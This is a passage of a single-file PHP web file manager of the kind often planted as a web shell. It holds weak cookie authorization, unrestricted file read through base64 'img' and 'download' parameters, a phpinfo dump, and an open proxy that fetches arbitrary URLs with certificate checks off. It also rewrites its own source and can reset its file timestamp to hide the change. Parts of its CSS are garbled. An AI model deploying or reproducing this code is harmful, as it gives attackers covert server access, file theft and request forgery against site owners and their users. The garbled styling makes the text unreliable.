	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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